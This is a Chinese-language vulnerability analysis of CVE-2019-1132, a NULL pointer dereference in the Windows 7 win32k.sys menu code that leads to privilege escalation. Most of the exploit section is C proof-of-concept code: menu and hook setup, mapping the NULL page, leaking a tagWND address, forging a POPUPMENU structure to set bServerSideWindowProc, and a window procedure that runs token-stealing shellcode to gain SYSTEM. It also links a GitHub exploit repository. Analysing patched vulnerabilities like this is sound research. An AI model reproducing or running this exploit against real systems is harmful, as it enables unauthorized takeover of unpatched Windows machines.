CVE–2019-1132是Windows kernel中的一个空指针引用漏洞。空指针引用漏洞已经消失多年了，但仍然被用于恶意软件攻击中。本文介绍CVE-2019-1132漏洞的技术细节，以及PoC代码。

简介

该漏洞是win32k.sys驱动中的空指针引用，会导致Windows 7和Windows Server 2008系统中的权限提升。微软已于2019年7月发布漏洞补丁。本文将对漏洞进行分析并创建了Windows 7 x86环境+6月份修复补丁的PoC。

漏洞概述

该来的位于win32k!xxxMNOpenHierarchy函数中，因为该函数没有检查指向tag POPUPMENU->ppopupmenuRoot的指针是否为空。该域可以被不同的操作访问，如果攻击者可以将该域设置为NULL，就可以引发空指针引用。

为了利用该漏洞，攻击者需要以特定方式来映射该null页，然后成功进行权限提升。
为了将ppopupmenuRoot设置为NULL，首先要释放该域指向的root popupmenu菜单。研究人员首先打开root popupmenu的一个sub-menu，sub-menu会在kernel模式下调用win32k!xxxMNOpenHierarchy，该调用会创建第二个sub-menu。创建第二个popupmenu时，root menu的sub-menu的ppopupmenuRoot域会含有NULL。当win32k!HMAssignmentLock函数尝试访问该域时，会执行一个空指针引用操作，导致BSOD（Windows蓝屏）。

漏洞触发

为了触发该漏洞，研究人员使用了ESET博客中的方法。总结如下：

1.首先创建一个窗口和3个menu对象，然后将meau项合并。

/* Creating the menu */  for (int i = 0; i < 3; i++)  hMenuList[i] = CreateMenu();  /* Appending the menus along with the item */  for (int i = 0; i < 3; i++)  {  AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item");  }  AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item");  /* Creating a main window class */  xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc);  hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",  WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,  WS_VISIBLE,  GetModuleHandleA(NULL));  printf("Handle of the mainWindow : 0x%08Xn", (unsigned int)hWindowMain);  ShowWindow(hWindowMain, SW_SHOWNOACTIVATE); 

2.在WH_CALLWNDPROC和EVENT_SYSTEM_MENUPOPUPSTART上安装hook。

/* Hooking the WH_CALLWNDPROC function */  SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());  /* Hooking the trackpopupmenuEx WINAPI call */  HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc,  GetCurrentProcessId(), GetCurrentThreadId(), 0); 

3.用TrackPopupMenuEx函数来展示root popup menu。当TrackPopupMenuEx被调用时，会调用win32k!xxxTrackPopupMenuEx函数来展示菜单。然后会通过EVENT_SYSTEM_MENUPOPUPSTART类型的事件来通知用户。

/* Setting the root popup menu to null */ printf("Setting the root popup menu to nulln"); release = 0; TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL); 

4.这会触发事件hook函数xxWindowEventProc。通过发送MN_OPENHIERARCHY消息，它最终会调用函数win32k!xxxMNOpenHierarchy。

static VOID CALLBACK xxWindowEventProc(     HWINEVENTHOOK hWinEventHook,     DWORD         event,     HWND          hwnd,     LONG          idObject,     LONG          idChild,     DWORD         idEventThread,     DWORD         dwmsEventTime ) {     UNREFERENCED_PARAMETER(hWinEventHook);     UNREFERENCED_PARAMETER(event);     UNREFERENCED_PARAMETER(idObject);     UNREFERENCED_PARAMETER(idChild);     UNREFERENCED_PARAMETER(idEventThread);     UNREFERENCED_PARAMETER(dwmsEventTime);      bEnterEvent = TRUE;     if (iCount < ARRAYSIZE(hwndMenuList))     {         hwndMenuList[iCount] = hwnd;         iCount++;     }     SendMessageW(hwnd, MN_SELECTITEM, 0, 0);     SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);     PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0); } 

5.当函数win32k!xxxMNOpenHierarchy被调用后，会调用win32k!xxxCreateWindowEx函数来创建另一个popupmenu对象。在调用win32k!xxxCreateWindowEx函数期间，WM_NCCREATE消息会被发送给用户，可以在WH_CALLWNDPROC hook函数中看到，比如xxWindowHookProc。

6.在xxWindowHookProc函数中，研究人员会通过检查root menu对象的window handle来检查是否创建rootpopup menu对象，并验证下一个popup menu对象window handle是否为NULL。研究人员还确认了该消息是否为WM_NCCREATE。

static LRESULT CALLBACK xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam) {     tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;      if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1])     {         printf("Sending the MN_CANCELMENUS messagen");         SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0);         bEnterEvent = FALSE;     }     return CallNextHookEx(0, code, wParam, lParam); } 

然后发送WM_CANCELMENUS到root popupmenu对象。

最终会调用win32k!xxxMNCancel，并设置root popupmenu的fDestroyed位。然后调用win32k!xxxMNCloseHierarchy关系root popupmenu对象的栈中的sub-menu。

因为sub-menu还没有被创建，因此函数会win32k!xxxMNCloseHierarchy跳过子menu对象，也不会设置fDestroyed位，当sub-menu存在时会破坏root popupmenu对象。

现在tagPOPUPMENU->ppopupmenuRoot被设置为NULL，因为sub-menu的root popup menu被破坏了，如截图所示。

Ppopupmenu设置为NULL

漏洞利用

此时，ppopupmenuRoot会指向NULL。为了从NULL页触发内存访问，研究人员发送MN_BUTTONDOWN消息到sub-menu对象。研究人员最开始尝试利用ESET建议的方法来触发该漏洞，但是通过发送MN_BUTTONDOWN消息可以调用win32k!xxxMNOpenHierarchy 函数。

还有另一种方法来调用win32k!xxxMNOpenHierarchy函数，那就是通过sub-menu作为根（root）的TrackPopupMenuEx。所以研究人员使用TrackPopupMenuEx来调用win32k!xxxMNOpenHierarchy函数，并最终访问了NULL页面。

访问NULL Page

可以看到访问了位置0x0000001c，该位置指向的是释放的root popup menu对象的tagWND对象。

然后该地址被发送给win32k!HMAssignmentLock函数。

ESET博客中提到，bServerSideWindowProc位是在函数win32k!HMDestroyedUnlockedObject中设置的。但是研究人员尝试后还是无法设置攻击窗口的位。因此研究人员使用clockObj指令递减来设置 bServerSideWindowProc位。

下面介绍下漏洞利用的步骤：

1.首先创建一个作为攻击窗口的窗口。

/* Creating the hunt window class */     xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc);     hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",         WS_EX_LEFT,         WS_OVERLAPPEDWINDOW,         GetModuleHandleA(NULL));     printf("Handle of the huntWindow : 0x%08Xn", (unsigned int)hWindowHunt); 

2.然后使用NtAllocateVirtualMemory来在NULL页面分配内存。

/* Allocating the memory at NULL page */     *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");     if (NtAllocateVirtualMemory == NULL)         return 1;      if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(),         &MemAddr,         0,         &MemSize,         MEM_COMMIT | MEM_RESERVE,         PAGE_READWRITE)) || MemAddr != NULL)     {         printf("[-]Memory alloc failed!n");         return 1;     }     ZeroMemory(MemAddr, MemSize); 

3.然后使用HMValidateHandle函数技术就可以写了攻击窗口的tagWND对象的地址。

/* Getting the tagWND of the hWindowHunt */     PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);     printf("Address of the win32k!tagWND of hWindowHunt : 0x%08Xn", (unsigned int)head->deskhead.pSelf); 

4.研究人员在NULL页面伪造了一个假的popupmenu对象来满足设置攻击窗口的bServerSideWindowProc位的条件。

/* Creating a fake POPUPMENU structure */     DWORD dwPopupFake[0x100] = { 0 };     dwPopupFake[0x0] = (DWORD)0x1; //->flags     dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify     dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu     dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup     dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup     dwPopupFake[0x5] = (DWORD)0x1; //->spmenu     dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate     dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12;  //->spwndActivePopup     dwPopupFake[0x8] = (DWORD)0x1;  //->ppopupmenuRoot     dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree     dwPopupFake[0xA] = (DWORD)0x1;  //->posSelectedItem     dwPopupFake[0xB] = (DWORD)0x1; //->posDropped     dwPopupFake[0xC] = (DWORD)0;  /* Copying it to the NULL page */     RtlCopyMemory(MemAddr, dwPopupFake, 0x1000); 

win32k!HMAssignmentLock函数（0x0000001c）访问的地址指向的是伪造的popupmenu对象的spwndActivePopup。然后研究人员将伪造的popupmenu对象的spwndActivePopup域设置为指向地址tagWND + 0x12。

这是因为在[eax + 4]减clockObj值的指令，bServerSideWindowProc位在tagWND对象的第18位。为了成功设置该位，(eax + 4)必须指向tagWND对象+0x16。

5.现在就可以访问映射到NULL页面的域，并验证攻击窗口的bServerSideWindowProc位是否设置。

设置bServerSideWindowProc位

6.可以看出设置了bServerSideWindowProc位。然后可以发送消息到攻击窗口，然后会被xxMainWindowProc处理。然后检查cs寄存器。如果cs寄存器等于0x1b，而且处于用户模式，就会失败否则就调用shellcode。

Shellcode执行后，就成功了：

static LRESULT WINAPI xxMainWindowProc(     _In_ HWND   hwnd,     _In_ UINT   msg,     _In_ WPARAM wParam,     _In_ LPARAM lParam ) {     if (msg == 0x1234)     {         WORD um = 0;         __asm         {             // Grab the value of the CS register and             // save it into the variable UM.             //int 3             mov ax, cs             mov um, ax         }         // If UM is 0x1B, this function is executing in usermode         // code and something went wrong. Therefore output a message that         // the exploit didn't succeed and bail.         if (um == 0x1b)         {             // USER MODE             printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.rn");             ExitProcess(-1); // Bail as if this code is hit either the target isn't                               // vulnerable or something is wrong with the exploit.         }         else         {             success = TRUE; // Set the success flag to indicate the sprayCallback()                             // window procedure is running as SYSTEM.             Shellcode(); // Call the Shellcode() function to perform the token stealing and                          // to remove the Job object on the Chrome renderer process.         }     }     return DefWindowProcW(hwnd, msg, wParam, lParam); } 

获取NT AUTHORITY/SYSTEM权限

漏洞利用代码已经在安装了6月份补丁的Windows 7 x86环境中进行了测试，代码参见github: https://github.com/Vlad-tri/CVE-2019-1132 。